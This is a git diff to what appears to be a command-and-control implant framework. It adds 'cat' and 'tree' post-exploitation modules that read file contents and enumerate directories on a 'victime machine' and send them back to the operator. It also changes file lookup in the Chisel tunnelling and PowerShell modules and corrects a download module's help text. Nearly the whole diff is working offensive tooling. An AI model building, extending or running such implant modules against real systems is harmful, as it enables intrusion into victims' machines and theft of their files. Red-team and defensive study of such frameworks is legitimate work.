diff --git a/modules/CMakeLists.txt b/modules/CMakeLists.txt index 89e3650..f1b1048 100644 --- a/modules/CMakeLists.txt +++ b/modules/CMakeLists.txt @@ -21,3 +21,6 @@ add_subdirectory(Script) add_subdirectory(SpawnAs) add_subdirectory(StealToken) add_subdirectory(Upload) +add_subdirectory(Cat) +add_subdirectory(Tree) + diff --git a/modules/Chisel/Chisel.cpp b/modules/Chisel/Chisel.cpp index 1bc3e8f..7e63f21 100644 --- a/modules/Chisel/Chisel.cpp +++ b/modules/Chisel/Chisel.cpp @@ -7,6 +7,8 @@ using namespace std; const std::string moduleName = "chisel"; +const std::string ToolsDirectoryFromTeamServer = "../Tools/"; + #define BUFSIZE 512 @@ -117,6 +119,15 @@ int Chisel::init(std::vector &splitedCmd, C2Message &c2Message) std::ifstream myfile; myfile.open(inputFile); + + if(!myfile) + { + std::string newInputFile=ToolsDirectoryFromTeamServer; + newInputFile+=inputFile; + myfile.open(newInputFile, std::ios::binary); + inputFile=newInputFile; + } + if(!myfile) { std::string msg = "Couldn't open file.\n"; diff --git a/modules/Download/Download.cpp b/modules/Download/Download.cpp index aafd21f..b97e1a3 100644 --- a/modules/Download/Download.cpp +++ b/modules/Download/Download.cpp @@ -30,7 +30,7 @@ std::string Download::getInfo() { std::string info; info += "download:\n"; - info += "Download a file from the attacker machine to the victime machine\n"; + info += "Download a file from victime machine to the attacker machine\n"; info += "exemple:\n"; info += "- download c:\\temp\\toto.exe c:\\temp\\toto.exe\n"; diff --git a/modules/Powershell/Powershell.cpp b/modules/Powershell/Powershell.cpp index 934e106..06672b5 100644 --- a/modules/Powershell/Powershell.cpp +++ b/modules/Powershell/Powershell.cpp @@ -15,6 +15,7 @@ using namespace std; const std::string moduleName = "powershell"; +const std::string ScriptsDirectoryFromTeamServer = "../Scripts/"; #ifdef _WIN32 @@ -223,6 +224,15 @@ int Powershell::init(std::vector &splitedCmd, C2Message &c2Message) std::ifstream myfile; myfile.open(inputFile, std::ios::binary); + + if(!myfile) + { + std::string newInputFile=ScriptsDirectoryFromTeamServer; + newInputFile+=inputFile; + myfile.open(newInputFile, std::ios::binary); + inputFile=newInputFile; + } + if(!myfile) { std::string msg = "Couldn't open file.\n"; diff --git a/modules/Tree/CMakeLists.txt b/modules/Tree/CMakeLists.txt new file mode 100644 index 0000000..be7c8b2 --- /dev/null +++ b/modules/Tree/CMakeLists.txt @@ -0,0 +1,9 @@ +include_directories(../) +add_library(Tree SHARED ../ModuleCmd/ModuleCmd.cpp Tree.cpp) +add_custom_command(TARGET Tree POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy +$ "${CMAKE_SOURCE_DIR}/Release/Modules/$") + +add_executable(testsTree tests/testsTree.cpp ../ModuleCmd/ModuleCmd.cpp Tree.cpp) +target_link_libraries(testsTree) +add_custom_command(TARGET testsTree POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy +$ "${CMAKE_SOURCE_DIR}/Tests/$") \ No newline at end of file diff --git a/modules/Tree/Tree.cpp b/modules/Tree/Tree.cpp new file mode 100644 index 0000000..774a57c --- /dev/null +++ b/modules/Tree/Tree.cpp @@ -0,0 +1,126 @@ +#include "Tree.hpp" + +#include +#include +#include +#include + +using namespace std; + + +const std::string moduleName = "tree"; + + +#ifdef _WIN32 + +__declspec(dllexport) Tree* TreeConstructor() +{ + return new Tree(); +} + +#endif + +Tree::Tree() + : ModuleCmd(moduleName) +{ +} + +Tree::~Tree() +{ +} + +std::string Tree::getInfo() +{ + std::string info; + info += "tree:\n"; + info += "Tree\n"; + info += "exemple:\n"; + info += "- tree /tmp\n"; + + return info; +} + +int Tree::init(std::vector &splitedCmd, C2Message &c2Message) +{ + string path; + for (int idx = 1; idx < splitedCmd.size(); idx++) + { + if(!path.empty()) + path+=" "; + path+=splitedCmd[idx]; + } + + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_cmd(path); + + return 0; +} + +int Tree::process(C2Message &c2Message, C2Message &c2RetMessage) +{ + string path = c2Message.cmd(); + std::string outCmd = iterProcess(path, 0); + + c2RetMessage.set_instruction(m_name); + c2RetMessage.set_cmd(path); + c2RetMessage.set_returnvalue(outCmd); + + return 0; +} + + +std::string Tree::iterProcess(const std::string& path, int depth) +{ + std::string result; + + if(depth>=4) + return result; + + try + { + std::string actualPath=path; + if(actualPath.empty()) + actualPath=std::filesystem::current_path().string(); + + std::error_code e; + for (const filesystem::directory_entry& file : filesystem::directory_iterator(actualPath, e)) + { + try + { + filesystem::file_status status = filesystem::status(file.path().string(), e); + + for(int i=0; i& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + +private: + std::string iterProcess(const std::string& path, int depth); + +}; + + +#ifdef _WIN32 + +extern "C" __declspec(dllexport) Tree * TreeConstructor(); + +#endif diff --git a/modules/Tree/tests/testsTree.cpp b/modules/Tree/tests/testsTree.cpp new file mode 100644 index 0000000..9aa5f94 --- /dev/null +++ b/modules/Tree/tests/testsTree.cpp @@ -0,0 +1,89 @@ +#include "../Tree.hpp" + +#ifdef __linux__ +#elif _WIN32 +#include +#endif + +bool testTree(); + +int main() +{ + bool res; + + std::cout << "[+] testTree" << std::endl; + res = testTree(); + if (res) + std::cout << "[+] Sucess" << std::endl; + else + std::cout << "[-] Failed" << std::endl; + + return 0; +} + +bool testTree() +{ + std::unique_ptr tree = std::make_unique(); + + { + std::vector splitedCmd; + splitedCmd.push_back("tree"); + + C2Message c2Message; + C2Message c2RetMessage; + tree->init(splitedCmd, c2Message); + tree->process(c2Message, c2RetMessage); + + std::string output = "\n\noutput:\n"; + output += c2RetMessage.returnvalue(); + output += "\n"; + std::cout << output << std::endl; + } + { + std::vector splitedCmd; + splitedCmd.push_back("tree"); + splitedCmd.push_back("C:\\Users"); + + C2Message c2Message; + C2Message c2RetMessage; + tree->init(splitedCmd, c2Message); + tree->process(c2Message, c2RetMessage); + + std::string output = "\n\noutput:\n"; + output += c2RetMessage.returnvalue(); + output += "\n"; + std::cout << output << std::endl; + } + { + std::vector splitedCmd; + splitedCmd.push_back("tree"); + splitedCmd.push_back("."); + + C2Message c2Message; + C2Message c2RetMessage; + tree->init(splitedCmd, c2Message); + tree->process(c2Message, c2RetMessage); + + std::string output = "\n\noutput:\n"; + output += c2RetMessage.returnvalue(); + output += "\n"; + std::cout << output << std::endl; + } + // { + // std::vector splitedCmd; + // splitedCmd.push_back("tree"); + // splitedCmd.push_back("C:\\Program Files"); + + // C2Message c2Message; + // C2Message c2RetMessage; + // tree->init(splitedCmd, c2Message); + // tree->process(c2Message, c2RetMessage); + + // std::string output = "\n\noutput:\n"; + // output += c2RetMessage.returnvalue(); + // output += "\n"; + // std::cout << output << std::endl; + // } + + return true; +} diff --git a/modules/cat/CMakeLists.txt b/modules/cat/CMakeLists.txt new file mode 100644 index 0000000..f6e6f9d --- /dev/null +++ b/modules/cat/CMakeLists.txt @@ -0,0 +1,9 @@ +include_directories(../) +add_library(Cat SHARED ../ModuleCmd/ModuleCmd.cpp Cat.cpp) +add_custom_command(TARGET Cat POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy +$ "${CMAKE_SOURCE_DIR}/Release/Modules/$") + +add_executable(testsCat tests/testsCat.cpp ../ModuleCmd/ModuleCmd.cpp Cat.cpp) +target_link_libraries(testsCat) +add_custom_command(TARGET testsCat POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy +$ "${CMAKE_SOURCE_DIR}/Tests/$") \ No newline at end of file diff --git a/modules/cat/Cat.cpp b/modules/cat/Cat.cpp new file mode 100644 index 0000000..4c831fc --- /dev/null +++ b/modules/cat/Cat.cpp @@ -0,0 +1,79 @@ +#include "Cat.hpp" + +#include + +using namespace std; + + +const std::string moduleName = "cat"; + + +#ifdef _WIN32 + +__declspec(dllexport) Cat* CatConstructor() +{ + return new Cat(); +} + +#endif + +Cat::Cat() + : ModuleCmd(moduleName) +{ +} + +Cat::~Cat() +{ +} + +std::string Cat::getInfo() +{ + std::string info; + info += "cat:\n"; + info += "Cat a file from victime machine\n"; + info += "exemple:\n"; + info += "- cat c:\\temp\\toto.exe\n"; + + return info; +} + +int Cat::init(std::vector &splitedCmd, C2Message &c2Message) +{ + if (splitedCmd.size() == 2) + { + string inputFile = splitedCmd[1]; + + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_inputfile(inputFile); + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } + + return 0; +} + + +int Cat::process(C2Message &c2Message, C2Message &c2RetMessage) +{ + c2RetMessage.set_instruction(m_name); + c2RetMessage.set_cmd(""); + c2RetMessage.set_inputfile(c2Message.inputfile()); + + std::string inputFile = c2Message.inputfile(); + std::ifstream input(inputFile, std::ios::binary); + if( input ) + { + std::string buffer(std::istreambuf_iterator(input), {}); + c2RetMessage.set_returnvalue(buffer); + } + else + { + c2RetMessage.set_returnvalue("Failed: Couldn't open file."); + } + + return 0; +} + diff --git a/modules/cat/Cat.hpp b/modules/cat/Cat.hpp new file mode 100644 index 0000000..f8d8c47 --- /dev/null +++ b/modules/cat/Cat.hpp @@ -0,0 +1,28 @@ +#pragma once + +#include "ModuleCmd.hpp" + + +class Cat : public ModuleCmd +{ + +public: + Cat(); + ~Cat(); + + std::string getInfo(); + + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + +private: + +}; + + +#ifdef _WIN32 + +extern "C" __declspec(dllexport) Cat * CatConstructor(); + +#endif + diff --git a/modules/cat/tests/testsCat.cpp b/modules/cat/tests/testsCat.cpp new file mode 100644 index 0000000..97426f6 --- /dev/null +++ b/modules/cat/tests/testsCat.cpp @@ -0,0 +1,49 @@ +#include "../Cat.hpp" + +#ifdef __linux__ +#elif _WIN32 +#include +#endif + +bool testCat(); + +int main() +{ + bool res; + + std::cout << "[+] testCat" << std::endl; + res = testCat(); + if (res) + std::cout << "[+] Sucess" << std::endl; + else + std::cout << "[-] Failed" << std::endl; + + return 0; +} + +bool testCat() +{ + std::ofstream outfile("test1.txt"); + outfile << "testCat" << std::endl; + outfile.close(); + + std::unique_ptr cat = std::make_unique(); + { + std::vector splitedCmd; + splitedCmd.push_back("cat"); + splitedCmd.push_back("test1.txt"); + + C2Message c2Message; + C2Message c2RetMessage; + cat->init(splitedCmd, c2Message); + cat->process(c2Message, c2RetMessage); + + std::string output = "\n\noutput:\n"; + output += c2RetMessage.returnvalue(); + output += "\n"; + std::cout << output << std::endl; + } + + + return true; +}